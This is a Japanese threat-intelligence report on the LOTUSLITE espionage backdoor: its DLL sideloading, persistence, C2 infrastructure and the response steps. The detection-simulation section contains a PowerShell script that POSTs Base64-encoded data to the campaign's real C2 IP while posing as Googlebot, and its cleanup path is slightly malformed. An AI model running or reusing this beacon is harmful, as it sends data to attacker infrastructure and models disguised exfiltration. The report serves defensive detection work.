SOC Prime Bias: クリティカル

16 Jan 2026 13:42 UTC

LOTUSLITEキャンペーン:地政学的なストーリーによる標的型エスピオナージ

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
LOTUSLITEキャンペーン:地政学的なストーリーによる標的型エスピオナージ
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Acronis TRUは、米国政府機関を標的とするスパイ活動を観測し、政治テーマのZIPアーカイブ内に悪意のあるDLLバックドア、 LOTUSLITE、を配信しました。コンパニオンローダー実行ファイルがDLLをサイドロードし、その後、バックドアはHTTPSを介してGooglebotユーザーエージェントを偽装してハードコードされたC2エンドポイントにビーコンを送信します。運用者は専用のProgramDataディレクトリを作成し、Runレジストリエントリを追加することで持続性を確立します。重複する戦術に基づいて、この活動はMustang Pandaに関連付けられました。

調査

アナリストはZIPファイルを解凍し、武器化されたDLL(kugou.dll)と並んでローダーバイナリ(Maduro to be taken to New York.exe)を特定しました。分析はDLLサイドロードフロー、ビーコン動作、Mutexの使用、ホスト上で作成された正確な持続化アーティファクトを文書化しました。インフラストラクチャのレビューにより、通信が単一のIPアドレス(172.81.60.97)およびアリゾナ州フェニックスにホストされているとされるspryt.netホストのドメインに帰属していることが判明しました。Mustang Pandaへの帰属は、共有された戦術およびインフラストラクチャパターンにより中程度の信頼性で評価されました。

緩和策

Acronisの検出は、悪意のあるバイナリのSHA-256ハッシュに依存し、特定のProgramData持続フォルダーとRunキーの場所を強調しました。ネットワーク制御は、Googlebotユーザーエージェント文字列と組み合わせた場合に、特定されたIP/ドメインへのアウトバウンドHTTPS接続にフラグを立てるべきです。ProgramDataからの未知のバイナリの実行を防止し、発見時に関連するRunレジストリエントリを削除することで持続性を減少させます。

対応

影響を受けたエンドポイントを直ちに隔離し、揮発性データをキャプチャし、悪意のあるバイナリを分析のために保存します。作成されたProgramDataフォルダーを削除し、対応するRunレジストリ値を削除して持続性を断ち切ります。C2 IPとドメインへの接続をブロックし、提供されたファイルハッシュやMutexインジケーターでエンドポイント検出を更新してください。最後に、同じローダーおよびDLLシグニチャを示す追加のホストを探して環境全体でハントを実行します。

攻撃フロー

シミュレーション実行

前提条件:テレメトリー&ベースラインの事前飛行チェックが合格している必要があります。

根拠:このセクションでは、検出ルールを引き起こすように設計された敵の技術(TTP)の正確な実行を詳細に説明します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。

  • 攻撃の流れとコマンド:
    攻撃者はワークステーションを侵害し、LOTUSLITEバックドアをインストールしました。合法的なウェブクローラーのトラフィックに紛れ込みデータを流出させるため、このバックドアはハードコードされたC2サーバーにHTTP POSTを発行します。 172.81.60.97ユーザーエージェント ヘッダーは明示的に「Googlebot」に設定され、検索エンジンクローラーとして偽装し、そのようなエージェントをホワイトリスト化する周辺防御を通り抜けようとしています。ペイロードにはBase64でエンコードされた流出データが含まれています。

  • 回帰テストスクリプト:

    # LOTUSLITE C2シミュレーション – PowerShell
    $c2 = "http://172.81.60.97/receive"
    $ua = "Googlebot"
    $data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensitive data payload"))
    $body = @{ "data" = $data }
    
    try {
        Invoke-WebRequest -Uri $c2 -Method POST -Headers @{ "User-Agent" = $ua } -Body ($body | ConvertTo-Json -Compress) -UseBasicParsing
        Write-Host "C2 request sent successfully."
    } catch {
        Write-Error "C2 request failed: $_"
    }
  • クリーンアップコマンド:

    # 一時ファイルや残っているネットワーク接続を削除
    Remove-Item -Path "$env:TEMPlotuslite_temp*" -ErrorAction SilentlyContinue
    # (このシミュレーションでは永続的なサービスは作成されませんでした)
    Write-Host "Clean up complete."